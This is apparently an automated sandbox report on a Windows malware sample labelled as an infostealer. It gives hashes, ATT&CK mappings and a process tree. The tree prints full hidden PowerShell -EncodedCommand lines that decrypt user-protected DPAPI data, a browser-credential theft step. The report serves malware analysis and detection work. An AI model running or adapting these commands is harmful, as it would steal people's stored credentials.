c74dbd56aa352492442aef22c7fbab96b16fb905611a334be3633ad120612ef2

Analysis

max time kernel
151s
max time network
118s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
11/08/2026, 23:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-11_c7ae01538bf559a90b8c98835f9f1618_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Size 38.4MB
Sample260811-3r4vfavanf
SHA256 c74dbd56aa352492442aef22c7fbab96b16fb905611a334be3633ad120612ef2
MD5 c7ae01538bf559a90b8c98835f9f1618
SHA1 02542109d1d282f1e7b873bd1fae18e5f9fc0f21
SHA512 7c803c0010c8b7cc7ecbeeb1626d1726fd045321956752bf21d4983ef844e22ecdc6d13fe9e64022e1aadfee481c098d42b03f8cfa70733b05300efb9eb2e7a1
SSDEEP 393216:f1Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYfJ:fMguj8Q4VfvLqFTrY0
TLSH
T1A6978C0773E600A5E5B3D1388AA74503E773B4635731CADF329D06552FABAE09A7E720
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5040	powershell.exe
2104	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2676	cmd.exe
1912	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2104	powershell.exe
2104	powershell.exe
5040	powershell.exe
5040	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2104	powershell.exe
Token: SeDebugPrivilege	5040	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 972 wrote to memory of 2676	972	2026-08-11_c7ae01538bf559a90b8c98835f9f1618_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	90
PID 2676 wrote to memory of 2104	2676	cmd.exe	92
PID 972 wrote to memory of 1912	972	2026-08-11_c7ae01538bf559a90b8c98835f9f1618_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	93
PID 1912 wrote to memory of 5040	1912	cmd.exe	95

C:\Users\Admin\AppData\Local\Temp\2026-08-11_c7ae01538bf559a90b8c98835f9f1618_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-11_c7ae01538bf559a90b8c98835f9f1618_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoAFsAYgB5AHQAZQBbAF0AXQAoADEALAAwACwAMAAsADAALAAyADAAOAAsADEANAAwACwAMQA1ADcALAAyADIAMwAsADEALAAyADEALAAyADAAOQAsADEANwAsADEANAAwACwAMQAyADIALAAwACwAMQA5ADIALAA3ADkALAAxADkANAAsADEANQAxACwAMgAzADUALAAxACwAMAAsADAALAAwACwAOAAzACwAMQA0ADYALAAxADIAMQAsADgANAAsADEANQA0ACwAOQA3ACwANgA1ACwANwA4ACwAMQA0ADUALAAyADQAMwAsADQANwAsADMANwAsADgANgAsADIAMAA2ACwAMQAwADYALAAxADgANQAsADEANgAsADAALAAwACwAMAAsADIAOAAsADAALAAwACwAMAAsADcAMQAsADAALAAxADEAMQAsADAALAAxADEAMQAsADAALAAxADAAMwAsADAALAAxADAAOAAsADAALAAxADAAMQAsADAALAAzADIALAAwACwANgA3ACwAMAAsADEAMAA0ACwAMAAsADEAMQA0ACwAMAAsADEAMQAxACwAMAAsADEAMAA5ACwAMAAsADEAMAAxACwAMAAsADAALAAwACwAMQA2ACwAMQAwADIALAAwACwAMAAsADAALAAxACwAMAAsADAALAAzADIALAAwACwAMAAsADAALAAxADAALAAyADAAMQAsADIALAAxADkAOAAsADIAMQA0ACwAMQA4ADEALAAxADYAOQAsADEANAAxACwAMgA0ADcALAAxADUAOAAsADYANQAsADIAMQAwACwAOAA3ACwAMgAxADIALAAzADEALAA1ACwAMgAyADAALAA3ACwAMgA0ADEALAA4ADEALAAyADAANQAsADEAMQA5ACwAOAA4ACwAMQAwADgALAAyADEALAAyADMAMgAsADIAMwAxACwAMQA2ADMALAAzADkALAAxADAAOQAsADEAMwA0ACwAOQA4ACwAMAAsADAALAAwACwAMAAsADEANAAsADEAMgA4ACwAMAAsADAALAAwACwAMgAsADAALAAwACwAMwAyACwAMAAsADAALAAwACwAMQA2ADkALAAyADQAOAAsADIAMgAsADEANQAxACwAMgAzADMALAAyADMAMQAsADcALAA5ACwAOQA5ACwAMQA0ADUALAAxADEAMQAsADEAOQA1ACwAMQAzADcALAAyADQAMAAsADEANgAwACwAMQA5ADYALAAxADgAOQAsADEANgA5ACwAMQA5ADYALAAxADcAMwAsADEAMwAyACwAMgA0ADgALAAxADYAMAAsADEAMAAwACwAMgAxADAALAA1ACwAMQAwADAALAA3ADkALAAyADEAMgAsADEAMAA5ACwAMQA2ACwAMgAsADQAOAAsADAALAAwACwAMAAsADEANgA5ACwANQA3ACwAMgAyADgALAA0ACwAMgAwADcALAAyADUAMgAsADEAMQAzACwAMQAzADkALAAxADgALAA4ADYALAAxADEANgAsADIANAA3ACwAMgAzADQALAAyADIANQAsADEAOAAzACwAMQA4ADQALAAyADMAMwAsADYAMQAsADEANAAyACwAOAA4ACwAMQA2ADYALAAyADAANAAsADEAMwAzACwAMQA2ADgALAAyADMALAAyADMALAA3ADcALAAxADYAMwAsADIAMwA0ACwAMgAzADIALAAxADkANwAsADgAMgAsADQAOAAsADkALAAxADEAMgAsADgAMwAsADIAMAA4ACwANgAsADEAMQAyACwAMwA2ACwAMgAwADYALAAyADIAOQAsADMAMAAsADYAMgAsADEANQAxACwAMwA0ACwAOAAwACwAMQAxADAALAA2ADQALAAwACwAMAAsADAALAAxADYALAAzADAALAAyADAAMAAsADIAMQAsADEAMgAwACwAMQAxADgALAA0ADQALAA0ADgALAAyADMANwAsADIAMgA1ACwAOAAzACwAMQA0ADIALAA1ADMALAAyADcALAAxADcAMwAsADIAMQAyACwAMQAwADIALAAxADQANgAsADEANgA1ACwAMQAsADIAMgA1ACwANQA2ACwAMQAyADgALAAxADkAOQAsADYAMAAsADcAMQAsADEANwAxACwAMwAyACwAMQAxADUALAAyADEAMAAsADEAOQAwACwAOQAsADEAOQAsADIAMQAzACwANgAyACwAMgAyADcALAAxADIAOQAsADgANgAsADgAMQAsADEANQA3ACwAMQA0ADgALAAyADMAOQAsADEAMAA5ACwAMgAzADMALAAyACwAMQA5ADQALAAyADQALAA3ADYALAAyADAAMgAsADEANAA3ACwAMQA4ADAALAAxADAANgAsADEANwA3ACwAMgAsADEAMAA5ACwAMQAxACwAMQA5ADMALAAxADkANwAsADIAMQA2ACwANQA1ACwAMQA2ADcALAAyADAALAA5ADgALAA0ADgAKQAsACQAbgB1AGwAbAAsAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEQAYQB0AGEAUAByAG8AdABlAGMAdABpAG8AbgBTAGMAbwBwAGUAXQA6ADoAQwB1AHIAcgBlAG4AdABVAHMAZQByACkA"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2676
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoAFsAYgB5AHQAZQBbAF0AXQAoADEALAAwACwAMAAsADAALAAyADAAOAAsADEANAAwACwAMQA1ADcALAAyADIAMwAsADEALAAyADEALAAyADAAOQAsADEANwAsADEANAAwACwAMQAyADIALAAwACwAMQA5ADIALAA3ADkALAAxADkANAAsADEANQAxACwAMgAzADUALAAxACwAMAAsADAALAAwACwAOAAzACwAMQA0ADYALAAxADIAMQAsADgANAAsADEANQA0ACwAOQA3ACwANgA1ACwANwA4ACwAMQA0ADUALAAyADQAMwAsADQANwAsADMANwAsADgANgAsADIAMAA2ACwAMQAwADYALAAxADgANQAsADEANgAsADAALAAwACwAMAAsADIAOAAsADAALAAwACwAMAAsADcAMQAsADAALAAxADEAMQAsADAALAAxADEAMQAsADAALAAxADAAMwAsADAALAAxADAAOAAsADAALAAxADAAMQAsADAALAAzADIALAAwACwANgA3ACwAMAAsADEAMAA0ACwAMAAsADEAMQA0ACwAMAAsADEAMQAxACwAMAAsADEAMAA5ACwAMAAsADEAMAAxACwAMAAsADAALAAwACwAMQA2ACwAMQAwADIALAAwACwAMAAsADAALAAxACwAMAAsADAALAAzADIALAAwACwAMAAsADAALAAxADAALAAyADAAMQAsADIALAAxADkAOAAsADIAMQA0ACwAMQA4ADEALAAxADYAOQAsADEANAAxACwAMgA0ADcALAAxADUAOAAsADYANQAsADIAMQAwACwAOAA3ACwAMgAxADIALAAzADEALAA1ACwAMgAyADAALAA3ACwAMgA0ADEALAA4ADEALAAyADAANQAsADEAMQA5ACwAOAA4ACwAMQAwADgALAAyADEALAAyADMAMgAsADIAMwAxACwAMQA2ADMALAAzADkALAAxADAAOQAsADEAMwA0ACwAOQA4ACwAMAAsADAALAAwACwAMAAsADEANAAsADEAMgA4ACwAMAAsADAALAAwACwAMgAsADAALAAwACwAMwAyACwAMAAsADAALAAwACwAMQA2ADkALAAyADQAOAAsADIAMgAsADEANQAxACwAMgAzADMALAAyADMAMQAsADcALAA5ACwAOQA5ACwAMQA0ADUALAAxADEAMQAsADEAOQA1ACwAMQAzADcALAAyADQAMAAsADEANgAwACwAMQA5ADYALAAxADgAOQAsADEANgA5ACwAMQA5ADYALAAxADcAMwAsADEAMwAyACwAMgA0ADgALAAxADYAMAAsADEAMAAwACwAMgAxADAALAA1ACwAMQAwADAALAA3ADkALAAyADEAMgAsADEAMAA5ACwAMQA2ACwAMgAsADQAOAAsADAALAAwACwAMAAsADEANgA5ACwANQA3ACwAMgAyADgALAA0ACwAMgAwADcALAAyADUAMgAsADEAMQAzACwAMQAzADkALAAxADgALAA4ADYALAAxADEANgAsADIANAA3ACwAMgAzADQALAAyADIANQAsADEAOAAzACwAMQA4ADQALAAyADMAMwAsADYAMQAsADEANAAyACwAOAA4ACwAMQA2ADYALAAyADAANAAsADEAMwAzACwAMQA2ADgALAAyADMALAAyADMALAA3ADcALAAxADYAMwAsADIAMwA0ACwAMgAzADIALAAxADkANwAsADgAMgAsADQAOAAsADkALAAxADEAMgAsADgAMwAsADIAMAA4ACwANgAsADEAMQAyACwAMwA2ACwAMgAwADYALAAyADIAOQAsADMAMAAsADYAMgAsADEANQAxACwAMwA0ACwAOAAwACwAMQAxADAALAA2ADQALAAwACwAMAAsADAALAAxADYALAAzADAALAAyADAAMAAsADIAMQAsADEAMgAwACwAMQAxADgALAA0ADQALAA0ADgALAAyADMANwAsADIAMgA1ACwAOAAzACwAMQA0ADIALAA1ADMALAAyADcALAAxADcAMwAsADIAMQAyACwAMQAwADIALAAxADQANgAsADEANgA1ACwAMQAsADIAMgA1ACwANQA2ACwAMQAyADgALAAxADkAOQAsADYAMAAsADcAMQAsADEANwAxACwAMwAyACwAMQAxADUALAAyADEAMAAsADEAOQAwACwAOQAsADEAOQAsADIAMQAzACwANgAyACwAMgAyADcALAAxADIAOQAsADgANgAsADgAMQAsADEANQA3ACwAMQA0ADgALAAyADMAOQAsADEAMAA5ACwAMgAzADMALAAyACwAMQA5ADQALAAyADQALAA3ADYALAAyADAAMgAsADEANAA3ACwAMQA4ADAALAAxADAANgAsADEANwA3ACwAMgAsADEAMAA5ACwAMQAxACwAMQA5ADMALAAxADkANwAsADIAMQA2ACwANQA1ACwAMQA2ADcALAAyADAALAA5ADgALAA0ADgAKQAsACQAbgB1AGwAbAAsAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEQAYQB0AGEAUAByAG8AdABlAGMAdABpAG8AbgBTAGMAbwBwAGUAXQA6ADoAQwB1AHIAcgBlAG4AdABVAHMAZQByACkA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoAFsAYgB5AHQAZQBbAF0AXQAoADEALAAwACwAMAAsADAALAAyADAAOAAsADEANAAwACwAMQA1ADcALAAyADIAMwAsADEALAAyADEALAAyADAAOQAsADEANwAsADEANAAwACwAMQAyADIALAAwACwAMQA5ADIALAA3ADkALAAxADkANAAsADEANQAxACwAMgAzADUALAAxACwAMAAsADAALAAwACwAOAAzACwAMQA0ADYALAAxADIAMQAsADgANAAsADEANQA0ACwAOQA3ACwANgA1ACwANwA4ACwAMQA0ADUALAAyADQAMwAsADQANwAsADMANwAsADgANgAsADIAMAA2ACwAMQAwADYALAAxADgANQAsADEANgAsADAALAAwACwAMAAsADMAMAAsADAALAAwACwAMAAsADcANwAsADAALAAxADAANQAsADAALAA5ADkALAAwACwAMQAxADQALAAwACwAMQAxADEALAAwACwAMQAxADUALAAwACwAMQAxADEALAAwACwAMQAwADIALAAwACwAMQAxADYALAAwACwAMwAyACwAMAAsADYAOQAsADAALAAxADAAMAAsADAALAAxADAAMwAsADAALAAxADAAMQAsADAALAAwACwAMAAsADEANgAsADEAMAAyACwAMAAsADAALAAwACwAMQAsADAALAAwACwAMwAyACwAMAAsADAALAAwACwAMQA0ADcALAAyADIAOQAsADYANQAsADEAMgA2ACwAMQA2ADYALAA3ADUALAAyADMANQAsADYANwAsADcANAAsADUANQAsADIANAA5ACwAMgA1ADEALAA0ADQALAAxADMAMwAsADgAOAAsADEAMgAwACwAMgAyACwAMQA1ADcALAAxADMAOQAsADEANAA1ACwAMQA5ADEALAAxADkANAAsADIAMAA1ACwANAA3ACwANgA4ACwAMQA2ADAALAA5ADgALAAyADUAMAAsADEAMQA0ACwAMgAyADAALAAyADAAMgAsADYALAAwACwAMAAsADAALAAwACwAMQA0ACwAMQAyADgALAAwACwAMAAsADAALAAyACwAMAAsADAALAAzADIALAAwACwAMAAsADAALAAxADAAMgAsADgAMgAsADkANgAsADEANwA3ACwAMQA0ACwAMQA2ACwAMwA3ACwANgAzACwAMQA5ADAALAAyADEANgAsADIAMQAxACwAMQA5ACwAMQA4ACwANgA2ACwAMgAxADcALAAxADcAOQAsADEAMgAwACwAMgAwADYALAAyADIANgAsADcANQAsADYAMAAsADEAMAA0ACwANQA0ACwAMgA0ADAALAAxADgALAA4ADIALAA0ADEALAAyADQAMAAsADEAOQA4ACwAMQA2ADkALAAyADQAOQAsADIAMgAyACwANAA4ACwAMAAsADAALAAwACwAMQA2ADAALAAyADMANgAsADEAOQAsADMANQAsADMANgAsADEAMwA4ACwAMQA5ADcALAAxADEAOAAsADIANQAzACwAMQA0ADUALAAyADAANAAsADMALAAyADMAMgAsADEAMwA3ACwAMAAsADIAMwAwACwANQA2ACwAMQAyADEALAAyADIAOQAsADMANwAsADEANAAxACwAMQA5ADYALAAxADMAMAAsADEAOQA3ACwAMwAxACwANQA0ACwAMgAzACwANQA1ACwANAA2ACwAMgAxADAALAAxADQANgAsADMAOQAsADIAMwAsADEANQA4ACwANQAyACwAOQA2ACwAMQAxADkALAAxADQANAAsADYAMgAsADEAMAAxACwAMwA0ACwAMQA1ADQALAAyADEAMwAsADIAMgA5ACwAMQA2ADcALAA0ADgALAAyADMAMwAsADUANAAsADYANAAsADAALAAwACwAMAAsADEANwA2ACwAOAAsADAALAA2ADcALAAyADQAOQAsADgAOQAsADEAOQAxACwANAAwACwAMQAwADcALAA0ADkALAAzADYALAAzADMALAA3ADgALAAyADEAOAAsADEAMQAsADIAMgAyACwANQAyACwAMQAwADgALAAxADUAMAAsADEANwAyACwANgA0ACwAOQAsADEAOQAsADIANQA1ACwAMQA4ADUALAAxADYANgAsADcANgAsADUALAAyADIALAAzADUALAAxADQAMAAsADEANgAzACwANgAxACwAMwA4ACwAMQAwADQALAAxADgAMAAsADEANAAxACwAMgA0ADkALAA1ADQALAAzADUALAAxADAAMAAsADgANgAsADEAOQA3ACwAMgAyADgALAAxADEAOQAsADEAMwA4ACwANQAxACwAMwA1ACwAOAAzACwAMgAxADgALAAyADQALAAyADMAMAAsADEAOAAxACwAMQAzADIALAAxADUAMwAsADIAMAA2ACwANAAwACwAMQA1ADcALAAyADMAMgAsADgAMwAsADkANgAsADEAMQA0ACwAMQA0ADIALAA2ADQAKQAsACQAbgB1AGwAbAAsAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEQAYQB0AGEAUAByAG8AdABlAGMAdABpAG8AbgBTAGMAbwBwAGUAXQA6ADoAQwB1AHIAcgBlAG4AdABVAHMAZQByACkA"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1912
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoAFsAYgB5AHQAZQBbAF0AXQAoADEALAAwACwAMAAsADAALAAyADAAOAAsADEANAAwACwAMQA1ADcALAAyADIAMwAsADEALAAyADEALAAyADAAOQAsADEANwAsADEANAAwACwAMQAyADIALAAwACwAMQA5ADIALAA3ADkALAAxADkANAAsADEANQAxACwAMgAzADUALAAxACwAMAAsADAALAAwACwAOAAzACwAMQA0ADYALAAxADIAMQAsADgANAAsADEANQA0ACwAOQA3ACwANgA1ACwANwA4ACwAMQA0ADUALAAyADQAMwAsADQANwAsADMANwAsADgANgAsADIAMAA2ACwAMQAwADYALAAxADgANQAsADEANgAsADAALAAwACwAMAAsADMAMAAsADAALAAwACwAMAAsADcANwAsADAALAAxADAANQAsADAALAA5ADkALAAwACwAMQAxADQALAAwACwAMQAxADEALAAwACwAMQAxADUALAAwACwAMQAxADEALAAwACwAMQAwADIALAAwACwAMQAxADYALAAwACwAMwAyACwAMAAsADYAOQAsADAALAAxADAAMAAsADAALAAxADAAMwAsADAALAAxADAAMQAsADAALAAwACwAMAAsADEANgAsADEAMAAyACwAMAAsADAALAAwACwAMQAsADAALAAwACwAMwAyACwAMAAsADAALAAwACwAMQA0ADcALAAyADIAOQAsADYANQAsADEAMgA2ACwAMQA2ADYALAA3ADUALAAyADMANQAsADYANwAsADcANAAsADUANQAsADIANAA5ACwAMgA1ADEALAA0ADQALAAxADMAMwAsADgAOAAsADEAMgAwACwAMgAyACwAMQA1ADcALAAxADMAOQAsADEANAA1ACwAMQA5ADEALAAxADkANAAsADIAMAA1ACwANAA3ACwANgA4ACwAMQA2ADAALAA5ADgALAAyADUAMAAsADEAMQA0ACwAMgAyADAALAAyADAAMgAsADYALAAwACwAMAAsADAALAAwACwAMQA0ACwAMQAyADgALAAwACwAMAAsADAALAAyACwAMAAsADAALAAzADIALAAwACwAMAAsADAALAAxADAAMgAsADgAMgAsADkANgAsADEANwA3ACwAMQA0ACwAMQA2ACwAMwA3ACwANgAzACwAMQA5ADAALAAyADEANgAsADIAMQAxACwAMQA5ACwAMQA4ACwANgA2ACwAMgAxADcALAAxADcAOQAsADEAMgAwACwAMgAwADYALAAyADIANgAsADcANQAsADYAMAAsADEAMAA0ACwANQA0ACwAMgA0ADAALAAxADgALAA4ADIALAA0ADEALAAyADQAMAAsADEAOQA4ACwAMQA2ADkALAAyADQAOQAsADIAMgAyACwANAA4ACwAMAAsADAALAAwACwAMQA2ADAALAAyADMANgAsADEAOQAsADMANQAsADMANgAsADEAMwA4ACwAMQA5ADcALAAxADEAOAAsADIANQAzACwAMQA0ADUALAAyADAANAAsADMALAAyADMAMgAsADEAMwA3ACwAMAAsADIAMwAwACwANQA2ACwAMQAyADEALAAyADIAOQAsADMANwAsADEANAAxACwAMQA5ADYALAAxADMAMAAsADEAOQA3ACwAMwAxACwANQA0ACwAMgAzACwANQA1ACwANAA2ACwAMgAxADAALAAxADQANgAsADMAOQAsADIAMwAsADEANQA4ACwANQAyACwAOQA2ACwAMQAxADkALAAxADQANAAsADYAMgAsADEAMAAxACwAMwA0ACwAMQA1ADQALAAyADEAMwAsADIAMgA5ACwAMQA2ADcALAA0ADgALAAyADMAMwAsADUANAAsADYANAAsADAALAAwACwAMAAsADEANwA2ACwAOAAsADAALAA2ADcALAAyADQAOQAsADgAOQAsADEAOQAxACwANAAwACwAMQAwADcALAA0ADkALAAzADYALAAzADMALAA3ADgALAAyADEAOAAsADEAMQAsADIAMgAyACwANQAyACwAMQAwADgALAAxADUAMAAsADEANwAyACwANgA0ACwAOQAsADEAOQAsADIANQA1ACwAMQA4ADUALAAxADYANgAsADcANgAsADUALAAyADIALAAzADUALAAxADQAMAAsADEANgAzACwANgAxACwAMwA4ACwAMQAwADQALAAxADgAMAAsADEANAAxACwAMgA0ADkALAA1ADQALAAzADUALAAxADAAMAAsADgANgAsADEAOQA3ACwAMgAyADgALAAxADEAOQAsADEAMwA4ACwANQAxACwAMwA1ACwAOAAzACwAMgAxADgALAAyADQALAAyADMAMAAsADEAOAAxACwAMQAzADIALAAxADUAMwAsADIAMAA2ACwANAAwACwAMQA1ADcALAAyADMAMgAsADgAMwAsADkANgAsADEAMQA0ACwAMQA0ADIALAA2ADQAKQAsACQAbgB1AGwAbAAsAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEQAYQB0AGEAUAByAG8AdABlAGMAdABpAG8AbgBTAGMAbwBwAGUAXQA6ADoAQwB1AHIAcgBlAG4AdABVAHMAZQByACkA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5040

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 93215ce89b3acdb1d302a9248fa7fa7ada7a6b802f12f5447c9e70db5ccbb013
MD5 37c2f79644a4f9c120afd3d6b952f550
SHA1 33a62778514b3efc536cd3c9fad2efb70b9316bb
SHA512 a3dfa25faf98b903f7edef2cfa693c51c4476dfbeeae4b9eb7e75960bc899ccd9ac897869c29fbec8bcdd67ad1dc97db402aa8907cc105752cdca2c28ae4d2b7
TLSH
T1AE218933B3CC8664DC8A403654CEAC1136B687D7409ECEABAB84D118F42F288DEA11A0
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2104-9-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp

Download

memory/2104-5-0x000001F7A6DD0000-0x000001F7A6DF2000-memory.dmp

Download

memory/2104-6-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp

Download

memory/2104-7-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp

Download

memory/2104-8-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp

Download

memory/2104-1-0x00007FFCFEB4F000-0x00007FFCFEB50000-memory.dmp

Download

memory/2104-10-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp

Download

memory/2104-11-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp

Download

memory/2104-12-0x000001F7A7330000-0x000001F7A7380000-memory.dmp

Download

memory/2104-14-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp

Download

memory/2104-15-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp

Download

memory/2104-4-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp

Download